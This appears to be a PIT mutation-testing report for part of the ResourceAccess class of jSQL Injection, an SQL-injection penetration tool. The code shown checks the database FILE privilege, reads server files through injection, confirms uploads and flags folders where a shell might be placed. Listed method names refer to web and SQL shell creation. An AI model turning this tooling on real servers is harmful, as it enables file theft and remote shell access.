                LogLevelUtil.CONSOLE_ERROR,
742
                "Upload file '{}' into '{}' failed",
743
                file::getName,
744 1 1. lambda$confirmUpload$8 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$confirmUpload$8 → NO_COVERAGE
                () -> pathShellFixed
745
            );
746
        }
747
        
748
        Map<String, String> headers = ConnectionUtil.getHeadersMap(httpResponse);
749
            
750
        Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
751
        msgHeader.put(Header.URL, urlFileFixed);
752
        msgHeader.put(Header.POST, StringUtils.EMPTY);
753
        msgHeader.put(Header.HEADER, StringUtils.EMPTY);
754
        msgHeader.put(Header.RESPONSE, headers);
755
        msgHeader.put(Header.SOURCE, httpResponse.toString());
756
   
757
        var request = new Request();
758 1 1. confirmUpload : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.MESSAGE_HEADER);
759 1 1. confirmUpload : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(msgHeader);
760 1 1. confirmUpload : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
761
    }
762
    
763
    /**
764
     * Check if current user can read files.
765
     * @return True if user can read file, false otherwise
766
     * @throws JSqlException when an error occurs during injection
767
     */
768
    public boolean isReadingNotAllowed() throws JSqlException {
769
        
770
        // Unsupported Reading file when <file> is not present in current xmlModel
771
        // Fix #41055: NullPointerException on getFile()
772 1 1. isReadingNotAllowed : negated conditional → NO_COVERAGE
        if (this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getResource().getFile() == null) {
773
            
774
            LOGGER.log(
775
                LogLevelUtil.CONSOLE_ERROR,
776
                "Reading file on {} is currently not supported",
777 1 1. lambda$isReadingNotAllowed$9 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$isReadingNotAllowed$9 → NO_COVERAGE
                () -> this.injectionModel.getMediatorVendor().getVendor()
778
            );
779 1 1. isReadingNotAllowed : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isReadingNotAllowed → NO_COVERAGE
            return true;
780
        }
781
        
782
        var sourcePage = new String[]{ StringUtils.EMPTY };
783
784
        String resultInjection = new SuspendableGetRows(this.injectionModel).run(
785
            this.injectionModel.getMediatorVendor().getVendor().instance().sqlPrivilegeTest(),
786
            sourcePage,
787
            false,
788
            1,
789
            AbstractElementDatabase.MOCK,
790
            "privilege"
791
        );
792
793
        boolean readingIsAllowed = false;
794
795 1 1. isReadingNotAllowed : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(resultInjection)) {
796
            
797 1 1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE
            this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
798
            var request = new Request();
799 1 1. isReadingNotAllowed : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
800 1 1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
801
802 1 1. isReadingNotAllowed : negated conditional → NO_COVERAGE
        } else if ("false".equals(resultInjection)) {
803
            
804
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted to current user: files not readable");
805
            var request = new Request();
806 1 1. isReadingNotAllowed : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
807 1 1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
808
809
        } else {
810
            
811
            var request = new Request();
812 1 1. isReadingNotAllowed : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
813 1 1. isReadingNotAllowed : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
814
            readingIsAllowed = true;
815
        }
816
        
817 2 1. isReadingNotAllowed : negated conditional → NO_COVERAGE
2. isReadingNotAllowed : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isReadingNotAllowed → NO_COVERAGE
        return !readingIsAllowed;
818
    }
819
820
    /**
821
     * Attempt to read files in parallel by their path from the website using injection.
822
     * Reading file needs a FILE right on the server.
823
     * The user can interrupt the process at any time.
824
     * @param pathsFiles List of file paths to read
825
     * @throws JSqlException when an error occurs during injection
826
     * @throws InterruptedException if the current thread was interrupted while waiting
827
     * @throws ExecutionException if the computation threw an exception
828
     */
829
    public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
830
831
        if (
832 1 1. readFile : negated conditional → NO_COVERAGE
            this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
833 1 1. readFile : negated conditional → NO_COVERAGE
            && this.isReadingNotAllowed()
834
        ) {
835
            return Collections.emptyList();
836
        }
837
838
        var countFileFound = 0;
839
        var results = new ArrayList<String>();
840
841
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
842
        CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
843
844
        for (String pathFile: pathsFiles) {
845
846
            var callableFile = new CallableFile(pathFile, this.injectionModel);
847
            taskCompletionService.submit(callableFile);
848
849
            this.getCallablesReadFile().add(callableFile);
850
        }
851
852
        List<String> duplicate = new ArrayList<>();
853
        int submittedTasks = pathsFiles.size();
854
        int tasksHandled;
855
856
        for (
857
            tasksHandled = 0
858 3 1. readFile : changed conditional boundary → NO_COVERAGE
2. readFile : negated conditional → NO_COVERAGE
3. readFile : negated conditional → NO_COVERAGE
            ; tasksHandled < submittedTasks && !this.isSearchFileStopped()
859
            ; tasksHandled++
860
        ) {
861
862
            var currentCallable = taskCompletionService.take().get();
863
864 1 1. readFile : negated conditional → NO_COVERAGE
            if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
865
866
                var name = currentCallable.getPathFile()
867 1 1. readFile : Replaced integer addition with subtraction → NO_COVERAGE
                    .substring(currentCallable.getPathFile().lastIndexOf('/') + 1);
868
                String content = currentCallable.getSourceFile();
869
                String path = currentCallable.getPathFile();
870
871
                var request = new Request();
872 1 1. readFile : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
                request.setMessage(Interaction.CREATE_FILE_TAB);
873 1 1. readFile : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
                request.setParameters(name, content, path);
874 1 1. readFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(request);
875
876 1 1. readFile : negated conditional → NO_COVERAGE
                if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
877
                    LOGGER.log(
878
                        LogLevelUtil.CONSOLE_INFORM,
879
                        "Shell might be possible in folder {}",
880 1 1. lambda$readFile$10 : replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$10 → NO_COVERAGE
                        () -> path.replace(name, StringUtils.EMPTY)
881
                    );
882
                }
883
884
                duplicate.add(path.replace(name, StringUtils.EMPTY));
885
                results.add(content);
886
887 1 1. readFile : Changed increment from 1 to -1 → NO_COVERAGE
                countFileFound++;
888
            }
889
        }
890
891
        // Force ongoing suspendables to stop immediately
892
        for (CallableFile callableReadFile: this.getCallablesReadFile()) {
893 1 1. readFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE
            callableReadFile.getSuspendableReadFile().stop();
894
        }
895
896 1 1. readFile : removed call to java/util/List::clear → NO_COVERAGE
        this.getCallablesReadFile().clear();
897 1 1. readFile : removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE
        this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
898 1 1. readFile : removed call to com/jsql/model/accessible/ResourceAccess::setSearchFileStopped → NO_COVERAGE
        this.setSearchFileStopped(false);
899
900
        var result = String.format(
901
            "Found %s file%s%s on %s files checked",
902
            countFileFound,
903 2 1. readFile : negated conditional → NO_COVERAGE
2. readFile : changed conditional boundary → NO_COVERAGE
            countFileFound > 1 ? 's' : StringUtils.EMPTY,
904 1 1. readFile : negated conditional → NO_COVERAGE
            tasksHandled != submittedTasks ? " of "+ tasksHandled +" processed " : StringUtils.EMPTY,
905
            submittedTasks
906
        );
907
908 2 1. readFile : negated conditional → NO_COVERAGE
2. readFile : changed conditional boundary → NO_COVERAGE
        if (countFileFound > 0) {
909
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
910
        } else {
911
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
912
        }
913
914
        var request = new Request();
915 1 1. readFile : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.END_FILE_SEARCH);
916 1 1. readFile : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
917
918 1 1. readFile : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE
        return results;
919
    }
920
    
921
    /**
922
     * Mark the search of files to stop.
923
     * Any ongoing file reading is interrupted and any new file read
924
     * is cancelled.
925
     */
926
    public void stopSearchingFile() {
927
        
928 1 1. stopSearchingFile : removed call to com/jsql/model/accessible/ResourceAccess::setSearchFileStopped → NO_COVERAGE
        this.setSearchFileStopped(true);
929
        
930
        // Force ongoing suspendable to stop immediately
931
        for (CallableFile callable: this.getCallablesReadFile()) {
932 1 1. stopSearchingFile : removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE
            callable.getSuspendableReadFile().stop();
933
        }
934
    }
935
    
936
    private JSqlException getIntegrityError(String[] sourcePage) {
937 1 1. getIntegrityError : replaced return value with null for com/jsql/model/accessible/ResourceAccess::getIntegrityError → NO_COVERAGE
        return new JSqlException("Payload integrity check failure: "+ sourcePage[0].trim().replace("\\n", "\\\\\\n"));
938
    }
939
    
940
    
941
    // Getters and setters
942
    
943
    public boolean isSearchAdminStopped() {
944 2 1. isSearchAdminStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE
2. isSearchAdminStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE
        return this.isSearchAdminStopped;
945
    }
946
947
    public void setSearchAdminStopped(boolean isSearchAdminStopped) {
948
        this.isSearchAdminStopped = isSearchAdminStopped;
949
    }
950
    
951
    public void setScanStopped(boolean isScanStopped) {
952
        this.isScanStopped = isScanStopped;
953
    }
954
955
    public boolean isScanStopped() {
956 2 1. isScanStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE
2. isScanStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE
        return this.isScanStopped;
957
    }
958
959
    public boolean isSearchFileStopped() {
960 2 1. isSearchFileStopped : replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchFileStopped → NO_COVERAGE
2. isSearchFileStopped : replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchFileStopped → NO_COVERAGE
        return this.isSearchFileStopped;
961
    }
962
963
    public void setSearchFileStopped(boolean isSearchFileStopped) {
964
        this.isSearchFileStopped = isSearchFileStopped;
965
    }
966
967
    public List<CallableFile> getCallablesReadFile() {
968 1 1. getCallablesReadFile : replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::getCallablesReadFile → NO_COVERAGE
        return this.callablesReadFile;
969
    }
970
}

Mutations

123

1.1
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

128

1.1
Location : createAdminPages
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

154

1.1
Location : createAdminPages
Killed by : none
Replaced integer multiplication with division → NO_COVERAGE

159

1.1
Location : createAdminPages
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : createAdminPages
Killed by : none
negated conditional → NO_COVERAGE

165

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

166

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::setSearchAdminStopped → NO_COVERAGE

167

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::logSearchAdminPage → NO_COVERAGE

170

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

171

1.1
Location : createAdminPages
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

173

1.1
Location : createAdminPages
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::createAdminPages → NO_COVERAGE

183

1.1
Location : callAdminPage
Killed by : none
negated conditional → NO_COVERAGE

186

1.1
Location : callAdminPage
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

187

1.1
Location : callAdminPage
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

188

1.1
Location : callAdminPage
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

190

1.1
Location : callAdminPage
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

196

1.1
Location : callAdminPage
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

202

1.1
Location : callAdminPage
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::callAdminPage → NO_COVERAGE

210

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

211

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

213

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

216

1.1
Location : logSearchAdminPage
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : logSearchAdminPage
Killed by : none
changed conditional boundary → NO_COVERAGE

227

1.1
Location : lambda$createWebShell$0
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

228

1.1
Location : lambda$createWebShell$0
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

232

1.1
Location : lambda$createWebShell$0
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$createWebShell$0 → NO_COVERAGE

235

1.1
Location : createWebShell
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::createShell → NO_COVERAGE

242

1.1
Location : lambda$createSqlShell$1
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

243

1.1
Location : lambda$createSqlShell$1
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

249

1.1
Location : lambda$createSqlShell$1
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$createSqlShell$1 → NO_COVERAGE

252

1.1
Location : createSqlShell
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::createShell → NO_COVERAGE

268

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

279

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

304

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

313

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

318

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

322

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

330

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

339

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

349

1.1
Location : createShell
Killed by : none
negated conditional → NO_COVERAGE

352

1.1
Location : createShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

380

1.1
Location : getShellUrl
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : getShellUrl
Killed by : none
negated conditional → NO_COVERAGE

384

1.1
Location : getShellUrl
Killed by : none
negated conditional → NO_COVERAGE

395

1.1
Location : getShellUrl
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

402

1.1
Location : getShellUrl
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

404

1.1
Location : getShellUrl
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::getShellUrl → NO_COVERAGE

451

1.1
Location : runWebShell
Killed by : none
negated conditional → NO_COVERAGE

458

1.1
Location : runWebShell
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

459

1.1
Location : runWebShell
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

460

1.1
Location : runWebShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

462

1.1
Location : runWebShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runWebShell → NO_COVERAGE

485

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

489

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

496

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

498

1.1
Location : runSqlShell
Killed by : none
negated conditional → NO_COVERAGE

504

1.1
Location : runSqlShell
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

505

1.1
Location : runSqlShell
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

506

1.1
Location : runSqlShell
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

508

1.1
Location : runSqlShell
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::runSqlShell → NO_COVERAGE

530

1.1
Location : convert
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

532

1.1
Location : convert
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

546

1.1
Location : convert
Killed by : none
replaced return value with "" for com/jsql/model/accessible/ResourceAccess::convert → NO_COVERAGE

555

1.1
Location : parseColumnLength
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : parseColumnLength
Killed by : none
negated conditional → NO_COVERAGE

560

1.1
Location : parseColumnLength
Killed by : none
removed call to java/util/List::sort → NO_COVERAGE

561

1.1
Location : lambda$parseColumnLength$2
Killed by : none
replaced int return with 0 for com/jsql/model/accessible/ResourceAccess::lambda$parseColumnLength$2 → NO_COVERAGE

2.2
Location : lambda$parseColumnLength$2
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

567

1.1
Location : parseColumnLength
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parseColumnLength → NO_COVERAGE

575

1.1
Location : parse
Killed by : none
negated conditional → NO_COVERAGE

583

1.1
Location : parse
Killed by : none
negated conditional → NO_COVERAGE

590

1.1
Location : parse
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::parse → NO_COVERAGE

604

1.1
Location : uploadFile
Killed by : none
negated conditional → NO_COVERAGE

618

1.1
Location : uploadFile
Killed by : none
negated conditional → NO_COVERAGE

646

1.1
Location : uploadFile
Killed by : none
negated conditional → NO_COVERAGE

654

1.1
Location : uploadFile
Killed by : none
negated conditional → NO_COVERAGE

660

1.1
Location : uploadFile
Killed by : none
Replaced integer addition with subtraction → NO_COVERAGE

664

1.1
Location : uploadFile
Killed by : none
negated conditional → NO_COVERAGE

671

1.1
Location : lambda$uploadFile$3
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$3 → NO_COVERAGE

672

1.1
Location : lambda$uploadFile$4
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$4 → NO_COVERAGE

673

1.1
Location : lambda$uploadFile$5
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$5 → NO_COVERAGE

674

1.1
Location : lambda$uploadFile$6
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$uploadFile$6 → NO_COVERAGE

681

1.1
Location : uploadFile
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::confirmUpload → NO_COVERAGE

688

1.1
Location : uploadFile
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

689

1.1
Location : uploadFile
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

699

1.1
Location : upload
Killed by : none
negated conditional → NO_COVERAGE

727

1.1
Location : upload
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::upload → NO_COVERAGE

732

1.1
Location : confirmUpload
Killed by : none
negated conditional → NO_COVERAGE

737

1.1
Location : lambda$confirmUpload$7
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$confirmUpload$7 → NO_COVERAGE

744

1.1
Location : lambda$confirmUpload$8
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$confirmUpload$8 → NO_COVERAGE

758

1.1
Location : confirmUpload
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

759

1.1
Location : confirmUpload
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

760

1.1
Location : confirmUpload
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

772

1.1
Location : isReadingNotAllowed
Killed by : none
negated conditional → NO_COVERAGE

777

1.1
Location : lambda$isReadingNotAllowed$9
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$isReadingNotAllowed$9 → NO_COVERAGE

779

1.1
Location : isReadingNotAllowed
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isReadingNotAllowed → NO_COVERAGE

795

1.1
Location : isReadingNotAllowed
Killed by : none
negated conditional → NO_COVERAGE

797

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/InjectionModel::sendResponseFromSite → NO_COVERAGE

799

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

800

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

802

1.1
Location : isReadingNotAllowed
Killed by : none
negated conditional → NO_COVERAGE

806

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

807

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

812

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

813

1.1
Location : isReadingNotAllowed
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

817

1.1
Location : isReadingNotAllowed
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : isReadingNotAllowed
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isReadingNotAllowed → NO_COVERAGE

832

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

833

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

858

1.1
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

2.2
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

864

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

867

1.1
Location : readFile
Killed by : none
Replaced integer addition with subtraction → NO_COVERAGE

872

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

873

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

874

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

876

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

880

1.1
Location : lambda$readFile$10
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::lambda$readFile$10 → NO_COVERAGE

887

1.1
Location : readFile
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

893

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE

896

1.1
Location : readFile
Killed by : none
removed call to java/util/List::clear → NO_COVERAGE

897

1.1
Location : readFile
Killed by : none
removed call to com/jsql/util/ThreadUtil::shutdown → NO_COVERAGE

898

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::setSearchFileStopped → NO_COVERAGE

903

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

904

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

908

1.1
Location : readFile
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : readFile
Killed by : none
changed conditional boundary → NO_COVERAGE

915

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

916

1.1
Location : readFile
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

918

1.1
Location : readFile
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::readFile → NO_COVERAGE

928

1.1
Location : stopSearchingFile
Killed by : none
removed call to com/jsql/model/accessible/ResourceAccess::setSearchFileStopped → NO_COVERAGE

932

1.1
Location : stopSearchingFile
Killed by : none
removed call to com/jsql/model/suspendable/SuspendableGetRows::stop → NO_COVERAGE

937

1.1
Location : getIntegrityError
Killed by : none
replaced return value with null for com/jsql/model/accessible/ResourceAccess::getIntegrityError → NO_COVERAGE

944

1.1
Location : isSearchAdminStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE

2.2
Location : isSearchAdminStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchAdminStopped → NO_COVERAGE

956

1.1
Location : isScanStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE

2.2
Location : isScanStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isScanStopped → NO_COVERAGE

960

1.1
Location : isSearchFileStopped
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/ResourceAccess::isSearchFileStopped → NO_COVERAGE

2.2
Location : isSearchFileStopped
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/ResourceAccess::isSearchFileStopped → NO_COVERAGE

968

1.1
Location : getCallablesReadFile
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/ResourceAccess::getCallablesReadFile → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.16.1